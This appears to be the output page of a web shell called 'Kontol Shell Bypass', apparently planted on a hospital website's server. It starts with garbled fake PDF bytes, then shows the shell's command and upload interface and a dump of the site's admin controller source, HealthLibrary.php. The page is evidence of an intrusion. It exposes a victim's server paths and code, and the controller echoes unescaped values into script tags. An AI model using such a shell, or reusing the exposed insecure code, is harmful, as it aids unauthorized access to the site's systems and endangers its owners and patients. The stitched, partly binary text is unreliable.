%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/application/controllers/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/application/controllers/admin/HealthLibrary.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class HealthLibrary extends CI_Controller {

	/**
	 * Index Page for this controller.
	 *
	 * Maps to the following URL
	 * 		http://example.com/index.php/welcome
	 *	- or -
	 * 		http://example.com/index.php/welcome/index
	 *	- or -
	 * Since this controller is set as the default controller in
	 * config/routes.php, it's displayed at http://example.com/
	 *
	 * So any other public methods not prefixed with an underscore will
	 * map to /index.php/welcome/<method_name>
	 * @see https://codeigniter.com/user_guide/general/urls.html
	 */
	function __construct() {
        parent::__construct();
        
        if((!isset($_SESSION['is_logged']))||($_SESSION['is_logged']==false))
        {
        	$_SESSION['redirect'] = base_url()."admin/HealthLibrary/view_health_conditions";
        	
        	redirect(base_url().'admin/login');
        }

        $this->load->model('department_model', 'department');
        $this->load->model('health_library_model', 'health_condition');
        
    }
	
	public function index()
	{
		$this->view_health_conditions();
	}
	

	
	public function add_health_condition($id=0)
	{
		
		$data = array();
		$data['data_string'] = '';
		$health_conditionID = $id;
		
		echo '<script>console.log("add health_condition")</script>';
		
		if($id){
		
			$records = $this->health_condition->get_health_condition($id);
			
			echo '<script>console.log("update health_condition")</script>';
			
			if(!$records){
				
				show_404();
				
			}
			else{

				$data = array(
					'HealthConditionID' => $records['HealthConditionID'],
					'HealthConditionTitle' => $records['HealthConditionTitle'],
					'HealthConditionCommonName' => $records['HealthConditionCommonName'],
					'HealthConditionDepartment' => $records['HealthConditionDepartment'],
					'HealthConditionOverview' => $records['HealthConditionOverview'],
					'HealthConditionSymptoms' => $records['HealthConditionSymptoms'],
					'HealthConditionCauses' => $records['HealthConditionCauses'],
					'HealthConditionTreatment' => $records['HealthConditionTreatment'],
					'HealthConditionRelatedConditions' => explode(',', $records['HealthConditionRelatedConditions']),
					'HealthConditionThumbnail' => $records['HealthConditionThumbnail'],
					'HealthConditionBanner' => $records['HealthConditionBanner'],
					'HealthConditionPriorityOrder' => $records['HealthConditionPriorityOrder'],
					'Status' => $records['Status'],
					'HealthConditionPageURL' => $records['HealthConditionPageURL']
				); 
				
			}

		}
		
		$post=$this->input->post();
		
		if($post){	
			
			echo '<script>console.log("post")</script>';
			
			$this->form_validation->set_rules('HealthConditionTitle', 'Health Condition Title', 'required');
			$this->form_validation->set_rules('HealthConditionDepartment', 'Health Condition Department', 'required');
			$this->form_validation->set_rules('HealthConditionOverview', 'Health Condition Overview', 'required');
			$this->form_validation->set_rules('HealthConditionPriorityOrder', 'Health Condition Priority Ordeer', 'required');
			$this->form_validation->set_rules('HealthConditionPageURL', 'Slug', 'required');
			
			if ($this->form_validation->run() == FALSE)
            {
            		echo '<script>console.log("Error in validating doctor")</script>'; //console.log("Error in validating doctor");
  		            $this->load->view('admin/AddHealthCondition');
            }
			else
			{

				$thumbnail = '';
				$banner = '';
				
				if($_FILES['HealthConditionThumbnail']['name']){
					$thumbnail = $this->do_upload('HealthConditionThumbnail', './uploads/health_condition', 'hlib_thumb_'.$post['HealthConditionPageURL']);
					$data['error'] = array('error' => $this->upload->display_errors());	
				}
				if($_FILES['HealthConditionBanner']['name']){
					$banner = $this->do_upload('HealthConditionBanner', './uploads/health_condition', 'hlib_bnr_'.$post['HealthConditionPageURL']);
					$data['error'] = array('error' => $this->upload->display_errors());	
				}
				
				if( (($_FILES['HealthConditionThumbnail']['name'])&&(!$thumbnail)) || (($_FILES['HealthConditionBanner']['name'])&&(!$banner)) ){
					echo '<script>console.log("fail upload")</script>';
					$this->load->view('admin/AddHealthCondition',$data);
				}
				else{
				
					if(isset($post['HealthConditionID'])){
						$health_conditionID = $post['HealthConditionID'];
					}
			
					$insert_data = array(	
						'HealthConditionTitle' => $post['HealthConditionTitle'],
						'HealthConditionCommonName' => $post['HealthConditionCommonName'],
						'HealthConditionDepartment' => $post['HealthConditionDepartment'],
						'HealthConditionOverview' => $post['HealthConditionOverview'],
						'HealthConditionSymptoms' => $post['HealthConditionSymptoms'],
						'HealthConditionCauses' => $post['HealthConditionCauses'],
						'HealthConditionTreatment' => $post['HealthConditionTreatment'],
						'HealthConditionRelatedConditions' => implode(',', $post['HealthConditionRelatedConditions']),
						'HealthConditionThumbnail' => $thumbnail,
						'HealthConditionBanner' => $banner,
						'HealthConditionPriorityOrder' => $post['HealthConditionPriorityOrder'],
						'Status' => $post['Status'],
						'HealthConditionPageURL' => $post['HealthConditionPageURL']
					);
			
					$success = '';	
					 echo '<script>console.log("'.$health_conditionID.'")</script>';
					if($health_conditionID){
						$success = $this->health_condition->update_health_condition($insert_data,$health_conditionID);
					}
					else{
					
						$success = $this->health_condition->insert_health_condition($insert_data);
						echo '<script>console.log("'.$success.'")</script>';
					}			
			
					if($success){
						redirect(base_url()."admin/HealthLibrary/view_health_conditions");

					}
				}
				
			}
       			
		}
		
		$data['conditions'] = $this->health_condition->get_health_conditions();
		$data['departments'] = $this->department->get_departments('DepartmentID, DepartmentName', array('Sub-department','Speciality'));
		
		$this->load->view('admin/AddHealthCondition',$data);
	}
	
	
	public function update_health_condition($id){
	
		$this->add_health_condition($id);
	}
	
	
	public function view_health_condition($id=0)
	{
		
		$data = array();
		$data['data_string'] = '';
		
		if($id){
		
			$data = $this->health_condition->get_health_conditions();
			
			if(!$records){
				
				show_404();
				
			}
			else{

				$data = array(
					'HealthConditionID' => $records['HealthConditionID'],
					'HealthConditionTitle' => $records['HealthConditionTitle'],
					'HealthConditionCommonName' => $records['HealthConditionCommonName'],
					'HealthConditionDepartment' => $records['HealthConditionDepartment'],
					'HealthConditionOverview' => $records['HealthConditionOverview'],
					'HealthConditionSymptoms' => $records['HealthConditionSymptoms'],
					'HealthConditionCauses' => $records['HealthConditionCauses'],
					'HealthConditionTreatment' => $records['HealthConditionTreatment'],
					'HealthConditionRelatedConditions' => explode(',', $records['HealthConditionRelatedConditions']),
					'HealthConditionThumbnail' => $records['HealthConditionThumbnail'],
					'HealthConditionBanner' => $records['HealthConditionBanner'],
					'HealthConditionPriorityOrder' => $records['HealthConditionPriorityOrder'],
					'Status' => $records['Status'],
					'HealthConditionPageURL' => $records['HealthConditionPageURL']
				); 
				
			}

		}
		
		
		
		$this->load->view('admin/ViewHealthCondition',$data);
	}
	
	public function view_health_conditions()
	{
		
		$data = array();
		$data['records'] = $this->health_condition->get_health_conditions();
			
		if(!$data){
			show_404();
		}
				
		$this->load->view('admin/ViewHealthConditions',$data);
	}
	
	
	public function remove_health_condition($id)
	{
		
		$data = array();
		
		
		if($this->health_condition->delete_health_condition($id)){
			$data['msg'] = 'Health Condition deleted succesfully';
		}
		else{
			$data['msg'] = 'Health Condition could not be deleted';
		}
		
		$data['records'] = $this->health_condition->get_doctors();
			
		if(!$data){
			show_404();
		}
				
		$this->load->view('admin/ViewHealthConditions',$data);
	}
	
	
}

Kontol Shell Bypass